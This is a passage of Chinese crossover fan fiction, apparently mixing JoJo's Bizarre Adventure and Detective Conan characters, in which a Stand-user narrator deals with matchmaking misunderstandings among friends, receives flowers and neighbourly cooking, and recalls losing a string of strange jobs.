而且,对方完全是熟男的感觉啊岂可修!
波鲁纳雷夫最终还是收回了这句话,替换成了点平淡的,“而且那家伙并不是替身使者,李对于普通人肯定会手下留情的。”
他说完,像是终于将别在心里的巨石搬走了,痛快地喝了一口茶。
“那是很坏了。”
乔瑟夫·乔斯达叹了口气,“虽然我很相信李,但是年轻人面对诱惑还是很危险的。而且意大/利也就这么大,我们也不知道passione的boss会在哪里出现,总不能让李孤立无援。”乔瑟夫·乔斯达说完,看向了虽然低头但是对于场上对话一句不落的空条承太郎,挑了挑眉。
啧。
“那看来还是有每天交换情报的必要。”空条承太郎板着脸,看向花京院典明和波鲁纳雷夫。
波鲁纳雷夫的眼睛里明晃晃地写着“现在就去看看的意思”。
思索片刻,花京院典明很快接上了话,脸上一本正经,“既然这样,那我也一起过去吧,[法皇之绿]的射程有百米,很适合侦察。”
伊奇看着迅速起身的粉发怪刘海男,又看着变得更加高兴的白色牙刷头男,眼睛滴溜一转,还是从沙发上站起身,砰地跳上了白色牙刷男的肩膀。
就让伊奇老大去看看自己的手下吧。绝不是那个喜欢变成人类的同类那里给它留了一箱咖啡味口香糖。
*
从监狱迅速离开的安室透沉着脸,只觉得反胃。
那种罪行罄竹难书的变态,就该利落吃下枪子离开这个世界。
而就是这样一个家伙,竟然会被[组织]指名要花大价钱捞出,究竟是为什么?而且乔可拉特离开前还盯着半空看了许久,明明那里空无一物。
说到底不管是那个牢房里骇人的氛围,还是乔可拉特离开时的“原来不是一起的吗?”都让安室透觉得谜团原来越多。
就连这样的人都要,甚至在将乔可拉特带离监狱后就立刻有人接手押送,[组织]究竟想要研究什么?
而且,在意大/利这块地方,明明并非主要的阵营,明明是当地黑手.党独大的地方,[组织]的接洽速度也太快了,就好像一直有在关注着这里的什么一样。究竟是什么样价值的东西才能让他们宁愿被当地黑手.党盯上也要在这里潜伏呢?
现有的信息不足,安室透还无法推理出背后的真相,他只觉得,那一定是一个骇人的秘密。
金发的男人将手穿过发丝,向后拨弄过去,轻轻叹了一口气。
总有一天,他一定会找出这个组织的真相,让这个组织土崩瓦解。
只是在此之前,他还得争取组织那群家伙的信任,不断地往上爬才行。
所以现在,他还得多从那位关键人物--露娜警官身上多套点消息才是。
说起来......当初在托拉萨迪餐厅,这位露娜警官就喜欢吃什么来着?
回想起了当初基本上都被清空的餐盘,安室透陷入了沉默。
或许,都喜欢?
那这样了话,要不要试着做一些能飘香的菜呢?刚好快到饭点了。
金发黑皮的男人一边思索着,一边向着菜场走去。
而此刻作为被金发黑皮帅哥想着的家伙,我有点想打喷嚏。里苏特正在在我的身前。
--[THE WORLD!]--让时间停止流动!
我安心地暂停了时间,转了方向打完了喷嚏,然后看着一动不动的里苏特。
嗯,很好,看来这应该没有能在时停中动起来的能力。
我绕着里苏特转了一圈,最终下定了结论。
自从碰见了也是时间系替身的粉发发霉章鱼,我就痛下决心,要将【世界】暂停时间的能力做大做强。否则一点安全感都没有。
只是能暂停几秒中也太不稳健了。
我和黄色人型替身对视一眼,颇有些欣慰。不愧是勤能补拙,在遇见粉发发霉章鱼后,我一直尝试碎
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片时间进行时停。我能感觉到自己暂停的时间有在缓慢变长,到现在,差不多能有10s了,就算打不过就逃跑也是完全够用。
只是可惜的是,如果雾气般的咒灵是我的替身了话,我根本无法召唤ta,也不知道ta的能力。下次要不试试用完整的“箭”看看能不能让ta出来呢?
在静止的世界思考到了时间,我解开了时停,又看向张开嘴的里苏特。
“是冷......?”
在时停中打完了喷嚏显然超过了普通人的认知,里苏特微微歪了歪头,止住了话。
“没事,只是鼻子有点痒。说起来,里苏特,你对替身的掌握真快。”
我这句话并不是什么吹捧,从刚刚还会把mini替身落在我手上,到现在能自如操作替身,里苏特绝对是有点天分在的。
里苏特给他的替身取名为金属制品,就今天下午的测试来看,【金属制品】可以操作以里苏特为中心10米内的生物中的铁元素。
虽然我第一反应是这也太居家了,想diy什么金属制品就可以做什么!完全就是超级手作man啊。
不过比起这个,【金属制品】的供给和防御属性也不容忽视。人体,可是有不少铁元素啊。而且利用铁质来影响电磁了话,也可以干扰电子设备啊。
要是多学习一些相关知识,这个替身能力绝对能更好开发。
对于我的夸奖,里苏特就显得谦虚,“我还有一些不是很理解,如果可以了话,我之后还能向你请教吗?”
他看起来颇有些困扰,一个银色的mini替身又掉在了我的手上,还发出的“噜噜噜”的叫声。
小东西怪可爱的。
不过这也不能动摇我的立场,我不会把无辜的人牵扯进来,虽然我最近把眼线处理地差不多了,但是里苏特和我接触可绝对称不上是一个安全的举动。
当然,我也大概能猜到里苏特或许是想回报我之前做的事,才打算假借教学的名义为借口来帮我。
我对上了里苏特的眼,只是摇了摇头,“剩下的可能是需要个人体悟的,或许我也很难帮上忙,但是铁质这一块可以参考相关书籍说不定你会有一些新的灵感。”
里苏特显然明白了我的意思,他只是敛起了眼,“我明白了。不过如果有什么需要我的地方,直接找我就行。”
哎?我的话也不是这个意思吧?
虽说我是缺一个土生土长的意大利替身使者来充数来着.....
我正思考该如何解释,就感觉mini的替身慢慢爬到我的指尖。银发的男人低头,似乎要伸手拿过小替身。
原来他不熟练掌握是真的,这时候可以试着召唤回去吧。
我正这么想着,却突然感觉有点不对劲。
因为轻柔的触感从我指尖一触即离。
我低头,看向了里苏特抬起头的脸,那里满是郑重的意味。恍惚间,我有种教母得到了拥护的错觉。
“我是认真的,有需要,请一定要告诉我。”
不是,这年头报恩都这么拼的吗?还是说黑手.党电影的影响吗?
我讪讪收回手,总觉得意大利的习俗果然还是有点新奇。
“谢谢?”
总之是劝走了热心报恩的里苏特,我刚一在沙发坐下,就听见了楼道里波鲁纳雷夫的嘀咕。
“原来是银发控吗?”
等等?总感觉风评被害!
115.插花
当在公寓底下的门口与银发男人擦肩而过的时候,波鲁纳雷夫顿住了脚步。
他回头看了一眼已经消失在人群的银发男人,不由得摸了摸自己的下巴。
这幢公寓自从对面失火以及发生了些恶劣的凶杀案后,原先的租户基本上都跑光了。除了那个新搬来的金发黑皮男外,就只有李因为租约没到而继续住在这。
这个看起来就特意打扮过的银发男人决不可能是从哪个金发黑皮男的房间出来的。因为和男人见面是完全没必要喷香水的。
而且如果手上什么都没带就来拜访人显然很失礼,但是这个男人离开公寓时是两手空空的!
那么!
这个男人绝对成功进门了!
这个念头一出来,就如惊天霹雳一般落在了名侦探波鲁纳雷夫先生的头上,他沉吟片刻,担忧的目光落在了同伴身上。
波鲁纳雷夫推测出的东西,花京院典明当然也能想出。他嘴角的浅笑消失了,敛下眼眸,不知道在想什么。
波鲁纳雷夫的心中,此时“事情果然不出本大爷所料”的自我吹捧的欲.望和“李不会真的中对方美男计”的对同伴的担忧交织在一起,使他的嘴角在本能地快乐上扬和出于同理心和应该读懂空气的理智抿着间保持微妙的平衡。
他就说!他就知道!
色/诱这样下作的手段,真是太卑鄙了。
虽然没有用发胶,但是那个看那头柔顺的银发的样子绝对是精心打理了;香水的选择也很合适,虽然没有很重的侵略性,但是也能彰显着自己的存在感;而且就那对黑色巩膜红色虹膜的奇异眼睛!
岂可修!
是要试探李吃不吃这一挂吗!
如果要公正地评判那个擦肩而过的男人,波鲁纳雷夫也不能昧着良心叫人家丑男,并拍拍自己同伴的肩膀说“那家伙长得可比你差远了。”
不过仅仅是普通人,以李的警惕性,也不会轻易让人进入家里的吧。
一定是因为什么!
波鲁纳雷夫急得团团转,他一边和花京院典明走上楼梯,一边在脑中迅速头脑风暴。
总归是有什么原因的......
波鲁纳雷夫急得都忍不住挠了挠自己的头,伊奇蹲在波鲁纳雷夫的肩膀上,不爽波鲁纳雷夫的胳膊乱动,鼻子喷出一口气,不爽地从肩膀上跳了下去,顺带一爪子带走了波鲁纳雷夫的一些头发。
波鲁纳雷夫本来想要控诉伊奇,但看见飘在自己眼前的自己精心打理的银发时,感觉有什么念头突然划过脑海。
波鲁纳雷夫怔怔地后退了一步,差点没摔在楼梯上。花京院典明正想着事情,就这么和跳在前头的伊奇走过了好几个台阶,才发现波鲁纳雷夫还在下面。
花京院典明转过去,就见着波鲁纳雷夫在不断深呼吸,见他看过来,竟然还狼狈地躲开了视线。
虽然他只是走神了一会,但这么点时间竟然也能发生了什么吗?
伊奇已经走到前面去了,以它对于白色牙刷头人类的了解,它默认无事发生。
花京院典明用眼神询问波鲁纳雷夫到底发生了什么,一边用着【法皇之绿】伸出触手探寻四周是否有敌袭。
不过,显然,没有。
花京院典明想了想,看着波鲁纳雷夫心虚的挥手的样子,也决定跟着伊奇先上去了。
这刚好也合波鲁纳雷夫的意。
银发男人绷着肌肉,边上楼边恢复自己精心梳理的发型。
银发,哎,银发。
要他说,世上哪有这么巧的事。
波鲁纳雷夫摇了摇头,只觉得自己背上了沉重的担子。
他都没有想过有这么巧的事。
哎,果然是替身吧。可是自己没那个意思耶,该怎么说比较好呢,自己的魅力也太大了,哎.....
波鲁纳雷夫眼角上挑,四分得意三分纠结三分惭愧实在是难以掩藏。
他双手交叉放在胸前,这样能将他的身材显得更好。但是下一秒,他又觉得自己下意识这么做的动作实在是对不起友谊。
猛地拍了一下自己完美英俊的脸,波鲁纳雷夫花了十秒钟调整了一下自己的心态,他赶上了花京院典明,神神秘秘地凑近了对方,决定暗示一下对方。
“李她.......原来是银发控吗?”
虽然是疑问句,但是波鲁纳雷夫的说出这话的神情,完全是一副深信不疑的样子。
花京院典明愣住了。
波鲁纳雷夫叹了口气,不知道该怎么和同伴说自己知道的事实。
那样也太残忍了吧。
要不花京院也去染银发吧,但是做代餐了话也不是长久的事。
但话又说回来了,自己的魅力是不受自己控制的散发的,他要是一出现在他们面前恐怕什么代餐都失效了.....
波鲁纳雷夫拍了拍花京院典明的肩膀,还想说点什么,不远处的门就打开了,一个黑发女人走了出来,面露疑惑,“银发控?谁?”
她看着波鲁纳雷夫一副搭着花京院肩膀的样子,又看着和她打招呼的伊奇,陷入了沉思。
而后,女人的眼角不受控制地抽搐了两下。
波鲁纳雷夫不由得捂住了脸,真心实意地苦恼着。
完了,都开始暗送秋波了。不管怎么说,当着大家的面不好吧。
*
当波鲁纳雷夫对我挤眉弄眼示意跳过“银发控”这个话题时,我抱起了伊奇,将两人带进了公寓,然后拍拍沙发。
“波鲁纳雷夫,说点什么吧……”
其实我并不是好奇波鲁纳雷夫在想什么,但是我总觉得一旦不加以制止,绝对会有什么奇怪的传言传出。
银发的男人顺势坐上了沙发,深深地望了我一眼,撅起来了嘴,大有一种“这么说出来真的没关系吗~”的感觉。
这种混合着诡异的娇羞和体贴的一眼差点击沉了我。
总感觉被粉发发霉章鱼逼到坠海都没那么难受。至少那次我确定自己能自保,但是在波鲁纳雷夫的话中,我很难体面地走出来。
……糟糕,有点后悔了,我要不先吃点什么再接受心灵冲击吧!
就在这进退两难的地步里,坐在沙发另一边的花京院贴心解围,他从桌上的百合花上收回视线,带着浅笑看向我。
“李小姐,我们在来的时候看见了一个银发的男人,有些担心他是监视你的眼线,还是说他是来找你的?”
这话递得很自然,我不由得暗暗向花京院投去感激的眼神。
银发男人,银发控,总不能是因为里苏特就这样贴标签吧?
“不,他确实是我认识的人。”接着我挑着关键的部分讲了一下里苏特来找我的原因。
看着表情变得有些微妙的波鲁纳雷夫,我不由按了按自己的太阳穴,“这孩子还没18呢,波鲁纳雷夫,你要是给我贴上银发控的标签,我去警局上班的时候干脆把自己关里头算了。”
“就算他不是来色……完全看不出还没18好不好……”波鲁纳雷夫小声辩解了一句,又试图说点什么,“而且我……”,不过话没说完,他整个人就像被戳破了的气球一样,声音瘪瘪的。
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同为欧洲面孔的你在说什么呢波鲁纳雷夫……
自觉阻止了一场传谣的我松了一口气,又看见波鲁纳雷夫的视线移到了百合花上,又瞥见自己一旁的黄玫瑰,“这花是刚刚那个叫做里苏特的小子送来的吗?”
我点了点头,“表示感激的吧,虽然我也没做什么就是了……”
我回想起里苏特离开前的动作,话又顿了顿。对方报恩的心也太坚决了吧,我都怀疑自己在监狱时是不是被发现什么端倪了。
就在我思索的这会,花京院往我这边靠近了些。
布料的摩挲声打断了我思绪,花京院典明指着桌上的百合花和之前波鲁纳雷夫送来的黄玫瑰,“这些花需要找个花瓶插起来吗,这样子可以养得更久一点哦?”
粉发的青年边说,边站起来,似乎在找着花瓶。
我没怎么收到过鲜花,所以也不懂如何去养。在以前干一行倒一行倒日子里,我的工位也基本上变成了随时退场风,根本不会养绿植,所以我不是很了解如何养植物。
养了植物,就要负责。而对于生活都不稳定的我来说,那或许并不合适。
看着花京院一副热心上手的样子,我愣了一下,“那麻烦了,花瓶了话那种可以吗?”
我带着他找了一个应该是上一任住户留下的宽口瓶。
“不过插在花瓶中可能会稍微改变一下摆设的样子,这样没问题吗?”花京院往宽口瓶里放了点水,回头问我。
我是门外汉,因此我只是点点头,示意花京院按着他的想法来就行。
在插花的过程中,波鲁纳雷夫都安静了下来,他凑在一边闻了闻里苏特送来的酒,深吸了一口气,确认这确实是美酒。
我向着伊奇老大献上早就备好的咖啡味口香糖,回头就看见花京院插花的样子。
他用修长的手指将过长的刘海挑到了耳后,而后研究着花材的摆放。
做到一半,他抬起头,很自然地问了一句,“李小姐,你喜欢什么花呢?”
喜欢的花吗?
我其实最喜欢“有钱花”啦。不过这个谐音梗在这里玩不动,所以我稍微思索了一下,但还是没有得出结论。
不过和“有钱花”差不多的不是还有“金币花”和“宝石花”吗?
这完全不是自然界的花吧……
我有些好笑,随口一说,“好像没有特别喜欢的。不过说起来,绿宝石水花能算一种花吗?这个我觉得很漂亮。”
“算吗?”波鲁纳雷夫摸着自己的下巴进行思考,“那么雪花也可以算花吗?”
我和波鲁纳雷夫进行着这样没营养的话题。
不过,花京院好安静啊……不一起吐槽吗?
我回头,却看见花京院一只手捂着自己的脸,以一种奇特的眼神看向我。
他的面前,花已经摆好了。洁白的百合颇具匠心地摆放着,与配花错落间显得雅致。而在其中间,水绿色的宝石的点缀更多了一分清新。
没想到【绿宝石水花】真的能保留!
“真漂亮。”我真心对这个美观和实用功能兼具的插花感到震撼。
不愧是花京院。有这个花在手,我想来刺探他人是不是替身使者只要看看对方能不能看到【绿宝石水花】就行。
“喜欢就好。”花京院收回了手,微微一笑。但刚刚手捂着脸肯定闷着他了,他现在脸上还有些红。
也许是太热了。
我去开了开窗,就觉得一阵美食的香气从楼上传来。
刚刚还在沙发上安静呆着的波鲁纳雷夫跳了起来,“我就说!”
116.(加更)算命
我就说?
难道是什么我没发觉的敌袭?而且波鲁纳雷夫已经提前预料到了?
我回头看向花京院,他似乎察觉到了什么,微微皱眉。
真有危险?
我警惕了起来,环顾四周,从窗边离开,向伊奇和波鲁纳雷夫靠近。
“老大,发生什么了吗?”
伊奇的鼻子微微翕动,灵敏地分析空气中的气味,而后表情猛然一变!
嗯?
伊奇的尾巴轻轻摇动,嘴巴张开,透明的口水顺着下巴滴下,掉落到它的爪子上。
原来是被香迷糊了。
不过如果感官灵敏的伊奇也不认为有异常了话,那我的判断应该没错--此刻非常安全。
同样感官灵敏的我也不由得深吸一口气,闻着空气里的食物的气息,也觉得唾液开始疯狂分泌了。
好像还有锅气?
是小炒肉和干煸四季豆?
我坐回沙发上,闭上眼睛,感觉这些菜似乎都已经喂到了我嘴边。我的中.国胃已经开始叫嚣了!
而且这股锅气,绝对不是那种改良到面目全非的异地登录的中餐!岂可修!
我并不是一个挑食的家伙。但是,在吃了外国饭这么久,这股锅气简直就如重锤一般直接击倒了我,而我根本不能反抗。
想要吃好吃的中餐的欲望简直到达了巅峰。
我也想要不骚的肉和炒锅!
我已经被悲愤的食欲打败了,痛苦地睁开眼,和伊奇一起品鉴着空气中的香气。
至于抱头继续重复着“我就说”的波鲁纳雷夫,我已经选择偏头无视他投来的我看不懂的视线了。
这种稍稍动脑就知道问了就会很麻烦的事情,我是一点也不想了解啊。
啊,要不直接去中餐馆出钱借锅给自己烧个菜吧,还是说直接去托拉萨迪餐厅问问能不能做中餐吧......
我的耳边,门口传来一阵脚步声,而后是一股难以抗拒的香气!
*
“咚咚。”礼貌的叩门声传来,坐在波鲁纳雷夫的眼睛迸发出一种自信光线。
他就说!他就说!
楼上那个金发黑皮男才是高段位的!
波鲁纳雷夫向花京院投去意味深长的一瞥,见对方望着门口皱着眉头的样子不由得欣慰地点了点头。
虽然银发控这个推测咳咳,但是他名侦探波鲁纳雷夫大人已经预言出了“美食计!”
虽然李根本不明白他的好意,伊奇还留着口水,但现在,至少花京院明白了波鲁纳雷夫大人的判断是不可置疑的。
那么,为了回馈他的华生,他得做点什么!
波鲁纳雷夫向花京院投去一个“你安心,我出马”的眼神,他挺直着背,沉着肩,雄赳赳如同一只高卢鸡准备来会一会门口的来客。
但是他的眼神互动太浪费时间了。
伊奇在听到门口站人的第一秒就已经如炮弹般冲了出去,跳到把手上直接拧开了门。
而李也紧随其后,也许是担心伊奇冲动吧。
门突然打开显然让外面的金发黑皮男人吃了一惊,脸上划过不易察觉的警惕之色,但是他很快就反应过来,脸上堆上了惊喜的笑。
“哎?女士你也住在这里吗?真是好巧。”安室透的眼里,流露出的惊喜全然不作假。
而门外的黑发女人只是简单点了点头,抱起了在地上留着口水的小波士顿狗,目光移到了安室透手上。
安室透并没有错过这道目光,他的笑容更加真切了些,捧着手里的餐盒往前送,“这是我最近练手的中餐,但是一不小心做多了,一个人也吃不完,就想着能和邻居分享就好了......”
分享就好了~
波鲁纳雷夫撇了撇嘴,自觉已然识破了对方的诡计。现在是在门口分享食物,下一步就是进入公寓了吧,再下一步肯定就是.......
趁着李还没回答,波鲁纳雷夫挥了挥脑袋,晃去脑中不妙的猜想,继续向前挤,站在对方身后,凭借自己的身高直直地顶到对方视线里。
“我说.....”波鲁纳雷夫语气不善地开口,就被对方激动的声音打断了。
“您果然还在!西洋剑大师!”金发黑皮男人这样像是喊奥特曼一样的腔调略显浮夸,但是对上波鲁纳雷夫刚好。
对面充满崇敬的眼神恍惚了一下波鲁纳雷夫的神志,他花了两秒努力控制住了嘴角,继续警告,“我不是说不要送吃的了吗?”话还是很冲,但是语气比开头柔和了不少。
“您只说不要送甜品,我就想着做点菜试试,我只是想厚脸皮和剑术大师多交流一下。”安室透依旧无懈可击,他打开了餐盒,露出里面分装好的菜,色香味俱全皆备,而且还贴心备了小叉子和筷子。
唯一的遗憾就是没能刚出锅就吃上。
原来是想来找我吗?那倒是有点不好意思.....
--不对!对方可不是善茬!
波鲁纳雷夫看着美食,脑子一激灵,看向了身边的黑发女人。
李她果然态度坚定,根本没回答,他可以放心了,原来美食计根本就......
“我运气好刚好买到了炒锅而且改造了炉灶能旺火炒菜,不知道这样味道会不会有变化?”安室透谦虚地笑笑,想了想,直接用小叉子叉出了一片小炒肉。
还没等他来得及说什么,在黑发女人怀里的小波士顿狗已经迅速跳了出来将其吞下,虽然速度很快,动作很猛,但是只是精准咬走了肉,就连叉子也没咬上。
将嘴里的肉迅速咀嚼,小波士顿狗发出了满足的呼噜声。这就像一个信号一样唤醒了黑发女人,她摸了摸狗爪,抬起头。
“不好意思,没咬到你吧,要不我赔给你吧,说起来,你是在哪里买到不骚的猪肉的?”
波鲁纳雷夫不敢置信地看向开口的黑发女人,觉得自己遭到了背叛。
安室透微微瞪大了双眼,只是夸这个波士顿
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狗很机灵,他也很喜欢狗,而后好不藏私地将哪里买的菜,哪些调料在什么超市有卖。
黑发女人边听,边点头,看起来已经全部记下了这些。
看着这边“打得火热”,李还嘴上婉拒但是手很快地接过了餐盒,波鲁纳雷夫总觉得自己如芒在背。
对了,华生!
他咳咳两声,立马打断安室透的“我的调料很齐全,要不直接上来拿”的发言。
太高的手段了!这是不进家门反而让李过去啊!
“今天就到这吧,我们还有事。”他说着就打算带上门,一声略微惊讶的声音还是从门缝里传来。
“两位难道是?”
门又迅速打开了,银发男人的脸从里面挤出来,和身后的女声还有狗狗的吼声汇聚到一起。
“不是。”
安室透眨了眨眼,看着银发男人着急的表情,又看看从门中也探出来的黑发女人,正想说点什么,黑发女人开口了,“安室透先生,谢谢你的分享。”
没等安室透说不客气,她又幽幽开口,“那我也顺便分享一点我的算命心得吧,你看起来印堂发黑,最近还是少走动比较好。”
门接着就关上了。
摸着自己的额头,小麦色肌肤的安室透陷入了沉默。
而房间里面,波鲁纳雷夫惊讶地问我,“原来你还会算命吗?”
我摇摇头,给自己叉了一块小炒肉。
我只是在安室透身上闻到了独属于牢房的那种潮湿的气味。我怀疑他不知道用什么方法打探到了我的行踪。
而对于一个正在执行的秘密任务,这很可能会被视作挑衅和监视。
随后,在波鲁纳雷夫哼哼唧唧的声音中,我们分享了食物以及情报。
“所以李你的替身根本就不受你控制吗?”波鲁纳雷夫皱着眉头,看向我身后。
我耸了耸肩,“我感觉ta可能有一定自我意识,但是目前来看对我应该没有恶意,所以就先这样也没关系。”
“那passione那块的招募?”花京院沉思,“如果一直没出现替身使者恐怕会引起怀疑吧?”
“在确认了那个黑色的替身不能在把我的替身引出来,我去监狱里招聘啊不,去完成passione任务的时候就可以选择稍微拖慢一下进度,这样至少能拖个一周吧。”踩着底线摸鱼了话,我还是在行的。
就在我们这边商量着如何多争取点时间的时候,波尔波那头也在商量。
不过,那种单方面的商量应该称作下命令比较合适。
波尔波在确定电话那头挂断了电话后,惶恐不已地再次召唤了【黑色安息日】,看着那越发小的箭头陷入了无尽的恐惧。
暗处的敌人究竟是谁!那些囚犯无法觉醒替身难道是因为“箭”受损的缘故?
如果真是这样……如果boss知道了,那他肯定完了!
陡然间,一个念头划过了波尔波的脑海,他的脸上露出了微笑。
117.(一点前增补)
我最近总是噩梦缠身。
虽然梦醒时根本记不清细节,但是肌肉痉挛以及醒来时的恍惚感都让我意识到了噩梦的威力。
梦里好像有什么多手黑色大蜘蛛、绿色爱心斑纹的金钱豹、粉色发霉章鱼什么的。
睡醒一想,这也太猎奇了吧!
我没在睡前看什么恐怖片,这么想来,噩梦可能与现实生活的不稳定相关。
在接连莫名其妙丢掉两份工作后,我再一次意识到自己可能不太走运。
好不容易进一家霓虹药企,同事氛围不错,员工餐好吃。虽然我所在的分公司的老板脾气很坏,但由于我只是基层员工,对我来说影响并不大。
再加上,我一入职,当天本来要来公司的那位老板就由于旧疾复发入院了,因此我也没不用见他。
嘛,这虽然有克领导之嫌,但是无人在意。
活少钱多的两个月实习生涯让我认定了这家公司我可以干一辈子!
所以当一些不讨喜的杂活被派给我的时候,我倒也没有拒绝。仔细想来,这或许就是我丢掉这份工作的原因吧。
当分公司老板做完手术,大家说按照礼节得去送花看望一下领导,但是当探讨到谁去慰问的时候,所有人都沉默了。
“李,那就麻烦你去慰问产屋敷月彦先生了。”经理这么说着,脸上略带歉意,旁边同事也露出同情的表情。
……我真的只是去医院而不是去什么通往地狱的入口吗?
看出了我犹豫,经理说假期探望给我按节假日加班的工资计算并给了我补贴。
我又可以了!
反正我只是个实习生,怕什么,只是送个花而已。
但我没想到,探望那位老板会有那么多事。还没进门就听到病房里乱七八糟的摔东西的声音。
里面还有一道男声用着霓虹语大喊“没用的家伙”“废物”“贱民”等等,恍惚间让我觉得自己来到什么封建时代。
不是吧,这样子难道不会被投诉吗?这不算医闹吗?
同事们不想来是因为嫌丢脸吧!
恍惚间,我觉得自己找到了真相。
“你要拜访的是这位吧?”路过的护士长皱了皱眉,听见里面的骂声,直接拽住踌躇蹲在门外等待的我,敲开了房门。
“产屋敷先生,有人拜访。”
护士长这么一开门,止住了里面男人的骂声。
不能还口的医生和护士们明显露出一副得救了的表情,鱼贯而出,有的还点点头煞有介事地提醒我“记得病人要静养啊。”
我觉得我是挺安静的,可能喧闹的是对面吧。
我捧着花,低着头,将花放在高级病房的桌子上,打算说几句好话就立马降低存在感润出去。
可是我一回头,就看见了病床上的人一脸不敢置信的表情。
这是我第一次见这位分公司的老板,他脸色苍白,有着海藻般卷曲的黑发,粗看脸长得还不错。
但现在我根本没空欣赏他的容貌,因为他此刻脸上表情十分狰狞,伸着手指直直对着我,我都能从袖子中看见他过于白皙的的手臂。
“不要靠近我!”
这是在各类仪器发出警报声,我被从病房中赶出的听到的最后一句话。
在第二天,我就被炒鱿鱼了。
理由给的很体面,说是因为职务变动,我原先的hc经过结果性调整没有了,所以不能转正,建议我另寻出路。
虽然好心的同事给我争取了些补贴,但我此时还不是正式员工,所以n+1也指望不上了。
哈。生活看扁我,那我就扁扁的走开。
但好在,经过我的努力,我在一周后无缝衔接了一家律所。不过奇怪的是,这家律所的位置有些偏,在门口工位上的是个带着紫色围巾的褐色头发小男孩。
我开门的时候他还吃着冰淇淋,眼睛从电脑上移开,脖子直接转了75度,一眨不眨地盯着我,像是在审视我一样。
这个时间持续的有点久,就在我思考这难道是什么奇妙面试环节的时候,里面的门推开了,一个穿着正装的金发男人走了出来,看了一眼我,嘴角勾出一个微笑,“佩特夏”。
“迪奥大人!”
听见这个声音,那个带着紫色围巾的小男孩激动地站了起来,绕着我转了一圈,而后抬头对上我的视线,“跟我走。”
我楞了一下,就看见被称为迪奥的那位律所合伙人颔首,以一种低沉的语调开口,“李女士,就让佩特夏带你参观一下我们的律所吧,我相信,你会对我们很满意的。”金发男人的眼神中闪烁着足以迷惑人心的神采。
我当然没有意见,老实点头。
律所不大,其实工位也不多,不过听说是倡导灵活办公和运程办公。我觉得有些奇怪,但是看到薪资上,我觉得怪一点也没关系。
只不过。
“那个,冰淇淋化了?”我看着冷脸带我参观工位的小男孩,还是没忍住从包里拿出纸巾递给了他。
冰淇淋已经半化在他的手上了,有些甚至要沾到他紫色的围巾上了。
小男孩看着自己的手,又看看我,依旧没什么表情,用那只不拿冰淇淋的手火速夺走了我手中的纸巾擦手,然后把纸巾精准地抛到了五米远的垃圾桶里。
我真心实意地恭维了一句“好厉害”。
虽然不知道对方是不是被送进律所要在初中就有丰富实习经历的少爷,但这个年纪的孩子特意来一手“空中投篮”应该是要炫耀的意思吧。
身边的男孩扬了扬嘴角,但也不说别的话。
第二天我就来上班了,但是上了一个星期,除了佩特夏以外我只在偶尔看见前来找迪奥合伙人商量事情的顾客。
我每次都能看见一群穿得十分得体的人带着崇拜甚至狂热的眼神看着迪奥合伙人,甚至自发拨来了不少资金。
虽然项目资金是不嫌多,但我总觉得手头处理的业务总感觉是什么不法交易的幌子。毕竟哪有高额的诉讼费会配上不用思考的案情。
不过,在我准备打举报电话前,上班的第10天,我来到律所,就发现这边已经被查封了。
顺带一提,这10天的薪水我还没收到,就连所谓的餐补也没给。
要不是被律所查封而且附近有摄像头,我就要搬点公司的设备去卖来回血。八成新的律所,接受小刀,记得自提。
现在,我只能揣着自己口袋里等着报销的发票,蹲在公交车站发呆。
这里比较偏远,车站只有我一人,从各种角度想都是一个适合思考人生的地方。
虽然现在还不会饿死,但是看余额,我已经感到前途一片黑暗了。
脑子里把所有来钱快的东西都想了一遍,我意识到这太刑了,再往前走一步就能拥有银色手环和稳定的饭碗。
“咻咻。”
旁边的绿化带传来一阵枝叶的摩擦声打断了我的思考,我警惕地站起来,手摸到了包里的防狼喷雾。
啊……说起来如果抓住逃犯应该也能领悬赏吧。
我这么想着,倒是觉得没那么害怕了。
“喵~”一声猫叫打破了我的幻想。
瘦弱的黑猫从树丛里钻出来,睁着无辜的眼看着我。
啊……是猫
“你好。”我向小黑猫点了点头,就当打过招呼了。<
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p>我不知该是失望还是庆幸,松了一口气,将包里的防狼喷雾放了回去,继续半蹲着发呆。
一阵令人心里发颤的柔软的触感擦过我手边,我低头一看,是那只小黑猫。
啊,是头痒?
我看着小黑猫,小黑猫看着我。
小黑猫的眼睛是漂亮的青绿色,在对视中,我感觉我理解了猫的意图。
我犹豫了一会,还是伸出手挠挠对方的脑袋。 “不好意思,我身上没有吃的。”
小黑猫继续“喵”了一声,只是更温柔地回蹭了我。它肩上有着像星星一样的一块浅毛。
我想了想,还是找了个便利店买了个火腿肠和一杯矿泉水。期间小黑猫在便利店门口等着我。
真是聪明的猫。
看着小猫优雅地进食火腿肠和矿泉水,我忍不住感慨了一下,然后和小猫说再见了。
虽然是再见,但照理来说应该是见不到的。
所以,当我在自己的出租屋前看见这只小黑猫的时候,我有些反应不过来。
我想说可能是认错了,但是对方身上独特的印记彰显了它的身份。
“我没有条件养你。”虽然不确定猫能不能听懂,但我确实就这么向对方摊牌。
小黑猫歪了歪脑袋,从角落里拖出了一个装着钱的钱包。
这年头谁还带着这么多现金?!不对!这钱包不会是这个猫猫偷来的吧?
我开始觉得有些超乎我的认知了。虽然人会偶尔思考“刑不刑”,但是猫猫不应该干这种事。
“不行,我不能很好照顾你。”我继续补充,然后小黑猫又开始蹭上了我的腿。
我觉得自己的意志快软化了,但是,充分意识到自己的现状的我如果真的和猫生活,那样未免太不负责了。
我关上了房门,门外传来了两声猫叫就变得安静了,好像也知道不能扰民。
我想,那只黑猫是机灵的家伙,会自己寻找更合适的居住对象的。
但是在半夜我实在放心不下,又打开了门。
小黑猫发着抖,轻轻向我喵了一声。
我最终还是叹了口气。
不过第二天醒来,我就发现小猫从我给它安置的温暖小窝挪到了床边。
不过?
我看着它金黄的毛发和背上星型的标志,陷入了沉思。
……这,是同一只猫?
*
家有大橘,不速速打工不行。
新出的推送显示当地新开的动物园招人并且现结钱,我火速地应聘了,然后火速入职了。
当hr和我说我照顾的动物会比较不寻常的时候,我就已经做好心理预期了。
我好歹考过证,没问题的。
红褐色狐狸喜欢吃樱桃,而且好像不耐热,如果在内场要注意通风;很大只的北极熊性格很好,不过喂鱼的时候总喜欢用鼻子人的手。
白色的仓鼠有着稀有的蓝眼睛,很喜欢打理毛发和照镜子,喜欢夸夸;疑似稀有品种的火鸡喜欢在准点啼鸣,;一对狼子孙性格截然相反,年老的狼非常喜欢嚎叫,空耳像“oh my god!”,年轻的狼很安静,但是不新鲜的食物是绝对不会吃的。
